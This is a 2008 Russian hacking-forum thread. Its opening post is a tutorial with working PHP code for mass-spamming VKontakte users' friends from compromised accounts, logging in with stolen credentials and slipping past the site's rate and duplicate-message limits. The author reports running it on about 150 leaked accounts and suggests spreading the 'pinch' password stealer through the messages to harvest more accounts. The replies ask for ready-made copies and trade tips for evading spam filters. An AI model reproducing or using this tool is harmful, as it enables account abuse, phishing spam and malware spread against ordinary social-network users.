Авторские статьи Спам социальных сетей на примере вконтакте.ру

Discussion in 'Статьи' started by diehard, 28 Feb 2008.

  1. diehard

    diehard Elder - Старейшина

    Joined:
    30 Sep 2007
    Messages:
    442
    Likes Received:
    266
    Reputations:
    15
    Спам социальных сетей
    на примере вконтакте.ру

    [0. Intro]

    Социальной сетью будем называть сервис, работающий в Интернете, способствующий установлению связей и обмену информацией между пользователями. С каждым днем наблюдается стремительный рост подобных сервисов, например сайт вконтакте.ру уже насчитывает более 8 млн пользователей и по рейтингу Alexa.com является самым посещаемым ресурсом ру-нета, поэтому подобные сервисы можно смело рассматривать как перспективное средство для массовых рассылок. Если реализация е-мейлового спама с каждым днем становится сложнее, то соц.сети еще не достаточно защищены от рассылок спамовых сообщений внутри них, чем конечно же грех не воспользоваться!

    [1. Как подойти ]

    Первым делом выясним, какие ограничения и попытки защититься от массовых рассылок есть в исследуемой соцсети. После несложного анализа методом пробок и ошибок выясняется, что суть защиты вконтакте состоит в нескольких ограничениях:
    1) С 1 акка можно отправить не более 20 сообщений в сутки всем пользователям, не находящимся в числе друзей. Количество сообщений, которые можно отправить друзьям, не ограничены :)
    2) С 1 акка можно отправить не более 1 сообщения в секунду.
    3) Из N идущих подряд одинаковых сообщений, рассылаемых с одного акка, будет доставлено только одно сообщение только первому из получателей.
    Больше никакой защиты в этой огромной 8миллионной системе найдено не было :) Даже капчи нигде нету :)

    Как же можно этим воспользоваться?
    1) Ограничение 20-в-сутки никак не обойти, поэтому чем больше у вас акков, тем больше вы отправите сообщений. + Не забывайте рассылку по друзьям акка, она неограничена.
    2) Пока у 1 акка длится 1 секундная пауза, в это время можно отправлять сообщения с других акков.
    3) Рассылаемые сообщения нужно рандомизировать. Достаточно подготовить 2 разных сообщения и слать их по очереди.

    [2. Реализация ]

    Напишем скрипт, получающий на вход акки и рассылающий сообщения по всем френдам введенных акков. Такая рассылка даст максимальный эффект, так как вероятность того, что юзер пройдет по ссылке, если получит мессагу от друга, намного больше, чем в случае, если мессага придет от левого человека.

    Зададим необходимые константы и тексты писем (достаточно 2 варианта писем):

    Code:
    <?
    /////////////////////////
    // vkontakte-friends spam
    // vspam.php
    // (C) diehard
    /////////////////////////
    
    $accsfile = "accs.txt";
    $logsfile = "logs.txt";
    $host = "vkontakte.ru";
    $urlfriends = "/friend.php"; // страница, откуда будем парсить френдов
    $urlmail = "/mail.php"; // страница, откуда будем парсить secure-код и рассылать мессаги
    $title[] = "Привет!";
    $title[] = "Доброго времени дня!";
    $message[] = "Как поживаешь? не могу разобраться как тут загружать новые фотки, а здесь http://formyfriends111.narod.ru/ давно собраны мои забавные фотки для друзей :)))";
    $message[] = "привет! Как твои дела? не могу никак разобраться как загружать тут новые фотки, здесь http://formyfriends111.narod.ru/ давно собраны мои самые забавные фотки для друзей :-)";
    
    Опишем необходимые функции для скачки страницы, записи логов и отправки мессаги.
    Нужно отметить: чтобы отправить сообщение от юзера А юзеру Б нужно знать secure-код безопасной отправки (тоже видимо такая "защита"), который вычисляется на сервере и прописывается в скрытом input-е на самой странице отправки. Поэтому перед отправкой сперва загружаем эту страницу, парсим оттуда secure-код и подставляем его в запрос.

    Code:
    set_time_limit(0);
    function GetPage($domain, $path, $cookie) 
    { 
        $hostname = gethostbyname($domain); 
        $responce = ""; 
        $errnum=0;$errstr=""; 
        $fsock    = fsockopen($hostname,80,$errnum,$errstr,5); 
        if(!$fsock) 
        { 
            return 0; 
        } 
        $headers  = "GET $path HTTP/1.0\r\n".
        		"Host: $domain\r\n".
    		"User-Agent: Mozilla/5.0\r\n".
    		"Accept: */*\r\n".
    	        "Content-Type: application/x-www-form-urlencoded\r\n".
    		"$cookie".
    		"Connection: close\r\n".
    		"\r\n"; 
        fwrite($fsock,$headers); 
        while(!feof($fsock)) 
        { 
            $responce .= fread($fsock,1024); 
        } 
        fclose ($fsock); 
        return $responce; 
    }
    
    // статус работы будем выводить в отдельный DIV
    function SetStatus($status){
      echo "<script>document.getElementById('statusDiv').innerHTML='$status';</script>";
    }
    
    // лог пишем в файл и по желанию в отдельный DIV (раскоментить echo)
    function SetLog($logmsg){
      $fp=@fopen($GLOBALS["logsfile"], "a");
      fwrite($fp, $logmsg."/r/n");
      fclose($fp);
      //echo "<script>document.getElementById('logDiv').innerHTML = '".$logmsg."<br>'+ document.getElementById('logDiv').innerHTML;</script>";
      SetStatus($logmsg);
    }
    
    function SendMail($from_id, $to_id, $t, $msg){
      SetLog("SendMail $from_id:$to_id:$t:$msg");
      // достаём secure
      $mailpage = GetPage($GLOBALS["host"], $GLOBALS["urlmail"]."?act=write&to=".$to_id, $GLOBALS["logincookies"][$from_id]);
      preg_match_all('/name="secure" value="(\w+)/', $mailpage, $mailsecure);
      foreach ($mailsecure[1] as $sss) {$secure=$sss;}
      SetLog("Parsed secure-code from ".$from_id." to ".$to_id.": ".$secure);
    
      // формируем post-запрос отправки
      $post="secure=$secure&photo=&to_id=$to_id&to_reply=0&act=sent&title=$t&message=$msg"; 
      $len = strlen($post);
    
      $query = "POST ".$GLOBALS["urlmail"]." HTTP/1.1\r\n".
    	 "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;.NET CLR 1.1.4322; .NET CLR 2.0.50215)\r\n".
    	 "Host: ".$GLOBALS["host"]."\r\n".
    	 $GLOBALS["logincookies"][$from_id].
    	 "Content-Type: application/x-www-form-urlencoded\r\n".
    	 "Connection: close\r\n".
    	 "Content-Length: $len\r\n".
    	 "\r\n".
    	 "$post";
      $conn = fsockopen($GLOBALS["host"], 80, $errno, $errstr, 1000); 
      fputs($conn, $query); 
      while (!feof($conn)) 
       {
         $ss = fgets($conn, 128); 
       }
    }
    
    А теперь реализуем сам алгоритм работы программы:

    Чтение акков (в формате id:email:password)
    сразу же сформируем массив кукисов $logincookies[$id], которые будут использоваться для логина под разными акками

    Code:
    $fp=@fopen($accsfile,"r");
    while(!feof($fp)){
    	$account = trim(fgets($fp));
    	$ac = explode(":", $account);
    	$id = $ac[0];
    	$email = $ac[1];
    	$md5 = md5($ac[2]);
    	$accs[] = $id;
    	$logincookies[$id] = "Cookie: remixchk=2; remixmid=$id; remixemail=$email; remixpass=$md5\r\n";
    }fclose($fp);
    
    Парсим списки френдов для каждого акка в массив $friends[$id][]:

    Code:
    $maxsize = 0;
    foreach ($accs as $curracc){
      $currfriendspage = GetPage($host, $urlfriends, $logincookies[$curracc]);
      preg_match_all("/write&to=(\w+)/", $currfriendspage, $currfriends);
      foreach ($currfriends[1] as $currfriend){
        $friends[$curracc][] = $currfriend;
      }
      $currsize = sizeof($friends[$curracc]);
      if ($currsize>$maxsize) $maxsize = $currsize;
    }
    
    Для наблюдения за процессом рассылки выводим слои статуса, лога и следующую таблицу: строки=акки, столбцы=френды акков

    Code:
    echo	"<table id='tableFr' border=1 cellspacing=0 cellpadding=0>".
    	"<tr id='trFr0'>".
    	"<td id='tdFr0_0'></td>";
    for ($i=1;$i<=$maxsize;$i++) { echo	"<td id='tdFr0_$i'>Friend$i</td>";};
    echo	"</tr>";
    
    $n=1;
    foreach ($accs as $curracc){
      echo	"<tr id='trFr$n'>";
      echo	"<td id='tdFr".$n."_0'>id$curracc</td>";
      for ($i=0;$i<sizeof($friends[$curracc]);$i++) { echo	"<td id='tdFr".$n."_".($i+1)."'>".$friends[$curracc][$i]."</td>";};
      for ($i=$i;$i<$maxsize;$i++) {echo	"<td id='tdFr".$n."_".($i+1)."'>_</td>";};
      echo	"</tr>";
      $n++;
    }
    echo	"</table>".
    	"<div style='border-width:1;border:1;color:#0000FF' id='statusDiv'></div><br>".
    	"<div id='logDiv'></div>";
    
    И наконец основной цикл программы: проходимся по-вертикали следующим образом:
    сначала спамим первого френда первого акка, потом первого френда второго акка, потом первого френда третьего акка ...
    потом спамим второго френда первого акка, потом второго френда второго акка, потом второго френда третьего акка ...
    ...
    Таким образом пока первый акк простаивает установленное ему ограничение в одну секунду, рассылка продолжается на следующих акках, таким образом мы обходим защиту от множественных рассылок за единицу времени.
    Чередуем текст мессаги, задавая его индекс остатком от деления на 2 текущего индекса столбца, таким образом мы обходим защиту от отправки одинаковых подряд идущих мессаг.

    Code:
    for($i=0;$i<$maxsize;$i++){
      for($j=0;$j<sizeof($accs);$j++){
        if ($i<sizeof($friends[$accs[$j]])) {
          echo "<script>document.getElementById('tdFr".($j+1)."_".($i+1)."').style.backgroundColor = '#0000FF';</script>";
          SetStatus("Sending from ".$accs[$j]." to ".$friends[$accs[$j]][$i]);
          SendMail($accs[$j], $friends[$accs[$j]][$i], $title[$ % 2], $message[$i % 2]);
          echo "<script>document.getElementById('tdFr".($j+1)."_".($i+1)."').style.backgroundColor='#00FF00';<script>";
      }}
      sleep(1);
    }
    
    [3. Пример работы ]

    [​IMG]

    Посмотреть пример работы скрипта можно по адресу: http://ka-ro.no/vk/vspam.php
    Скрипт очень простой и является всего лишь примером реализации массовых рассылок в соцсетях. Чем больше вобъёте акков - тем более громоздкой будет выводимая таблица, поэтому рекоммендую запускать его в нескольких вариантах с разными базами акков (не больше 30). Этот скрипт был написан для использования акков выложенных недавно в разделе Халява, из них оказалось около 150 валидных, скрипт в 5 параллельных задачах поработал около получаса, в результате за несколько часов набежало до 1к уников качественного снг-траффа и он продолжает капать. Можно совершенствовать либо писать с нуля, но суть в том, что таким способом можно добывать трафф из соц.сетей.

    [​IMG]

    [4. Outro ]

    Как это использовать - ограничивается вашей фантазией, например можно рассылать пинч или загружать его в ифрейме, чтобы добыть новые неюзанные акки для проведения последующих рекламных рассылок или тупо сливать на партнерку. А если проводить рассылки в буржуйских соцсетях типа Facebook и при этом отбирать адресатов по географическому расопложению или по интересам (признак - приналежность к какой-нибудь группе, тут вам не нужно собирать тематические базы емейлов, когда все мемберы тематической группы перед вами)? В общем, дерзайте!
     
    #1 diehard, 28 Feb 2008
    Last edited: 29 Feb 2008
    13 people like this.
  2. mari00

    mari00 Elder - Старейшина

    Joined:
    27 Oct 2006
    Messages:
    93
    Likes Received:
    40
    Reputations:
    16
    Хорошая статья, только вконтакте можно поставить ограничение на прием сообщений от левых контактов.
     
    2 people like this.
  3. ForNeVeR

    ForNeVeR Elder - Старейшина

    Joined:
    1 May 2006
    Messages:
    67
    Likes Received:
    31
    Reputations:
    0
    Излишне подозрительные люди, ставящие подобные ограничения, могут и не полезть по спам-ссылкам, так что они менее ценны как получатели спама.
     
  4. diehard

    diehard Elder - Старейшина

    Joined:
    30 Sep 2007
    Messages:
    442
    Likes Received:
    266
    Reputations:
    15
    Есть такое, но эта тема не популярна среди пользователей
     
  5. diehard

    diehard Elder - Старейшина

    Joined:
    30 Sep 2007
    Messages:
    442
    Likes Received:
    266
    Reputations:
    15
    В таком случае соц сеть загнется, так как перестанет исполнять свою основную функцию - способствовать созданию связей между пользователями. Как могут подружиться Вася и Оля, если оба изначально запретили отправлять друг другу сообщения? :) Спамеры зафлудили почтовые ящики, однако никто не запрещает письма с адресов, не входящих в адресную книгу. Просто как и везде, там будут внедряться антиспамовые механизмы типа капч.
     
  6. diehard

    diehard Elder - Старейшина

    Joined:
    30 Sep 2007
    Messages:
    442
    Likes Received:
    266
    Reputations:
    15
    Тогда сеть не будет расширяться, так как новые пользователи не смогут эффективно расширять область своих контактов, сеть загнется, а конкуренты не дремлют.
     
  7. diehard

    diehard Elder - Старейшина

    Joined:
    30 Sep 2007
    Messages:
    442
    Likes Received:
    266
    Reputations:
    15
    http://www.xakep.ru/post/42641/?xa_subscribe_226

    Социальные сети станут новым объектом внимания хакеров

    Как сообщает IT News со ссылкой на слова Роба Рэквальда, директора по маркетингу компании Fortify Software, которая специализируется на компьютерной безопасности, социальные сети рискуют в ближайшее время стать основным объектом внимания хакеров.

    По мнению Рэквальда, социальные сети попадают в своеобразную группу риска по причине того, что подобные сайты изначально ориентированы на неискушенную в вопросах компьютерной безопасности аудиторию. Таким образом, вероятность того, что пользователь MySpace или, скажем, Facebook кликнет по вредоносной ссылке, довольно высока. Рэквальд также обратил внимание на уязвимость в модуле Aurigma ActiveX, который используется в многих социальных сетях для загрузки изображений. Злоумышленник может запустить вредоносный код, воспользовавшись переполнением буфера. По словам Рэквальда, инструментарий для использования упомянутой уязвимости даже можно скачать с нескольких китайских сайтов. Благодаря чему нанести вред пользователям социальных сетей может не только опытный взломщик, но и рядовой интернетчик, решивший таким образом позабавиться.
     
    1 person likes this.
  8. mr.celt

    mr.celt Elder - Старейшина

    Joined:
    6 Feb 2008
    Messages:
    133
    Likes Received:
    16
    Reputations:
    12
    diehard - круто, + от меня. Соцсети это такой кладезь инфы, а твои способ воспользоваться этим один из вариантов!)
     
  9. Xszz

    Xszz Elder - Старейшина

    Joined:
    23 Apr 2007
    Messages:
    141
    Likes Received:
    42
    Reputations:
    9
    У кого-то есть настроенный скрипт ?
     
  10. IIAHbI4

    IIAHbI4 Banned

    Joined:
    24 Aug 2006
    Messages:
    276
    Likes Received:
    331
    Reputations:
    11
    ты первый пост внимательно почитай ... гляди и соберёшь скрипт, а автор если сам написал статью, то молодец.
     
    3 people like this.
  11. Xszz

    Xszz Elder - Старейшина

    Joined:
    23 Apr 2007
    Messages:
    141
    Likes Received:
    42
    Reputations:
    9
    собирал , не работает
     
  12. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,520
    Likes Received:
    401
    Reputations:
    196
    Блин... супер идея.... надо будет сообразить для мира мейлсру аналогичный...
    Идея классная... сенкс...

    наверное что то поменяли одмины уже... прошло 2 месяца ведь....
     
  13. Xszz

    Xszz Elder - Старейшина

    Joined:
    23 Apr 2007
    Messages:
    141
    Likes Received:
    42
    Reputations:
    9
    Соберите кто-то скрипт ;) буду очень благодарен
     
  14. Xszz

    Xszz Elder - Старейшина

    Joined:
    23 Apr 2007
    Messages:
    141
    Likes Received:
    42
    Reputations:
    9
    Кто соберёт - 5$ ? =)
     
  15. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31
    при удалении акка вконтакте все его посты удаляются?
     
  16. .:KeepeR:.

    .:KeepeR:. Banned

    Joined:
    18 Feb 2008
    Messages:
    25
    Likes Received:
    43
    Reputations:
    0
    При запуске скрипта пишет - Fatal error: Cannot redeclare getpage()
     
  17. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,520
    Likes Received:
    401
    Reputations:
    196
    вроде бы нет... Ко мне приходило сообщение спамное.. , и на аватаре написано
    delete и когда я хотел профиль позырить -написано было типа профиль забанен...
    Но месага то была у меня...
     
  18. g-warning

    g-warning Elder - Старейшина

    Joined:
    28 Dec 2007
    Messages:
    76
    Likes Received:
    17
    Reputations:
    0
    там щя какоето ограничение на количество месаг в час :mad:

     
  19. andreipup

    andreipup Elder - Старейшина

    Joined:
    21 Aug 2007
    Messages:
    265
    Likes Received:
    21
    Reputations:
    0
    Люди кто что посоветует как пробить маил постоянно приходит сообщение 550.Кстате с его самый большой отклик.
     
  20. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,520
    Likes Received:
    401
    Reputations:
    196
    Немного не в той теме )) Тут спам соцсетей рбсуждается...

    Что касается вопроса - ты AMSКОЙ шлешь? А что пишет то майлру ? spam messadge discarted ?

    Если так - то ссылки меняй почаще... на 2000 писем -одна ссылка...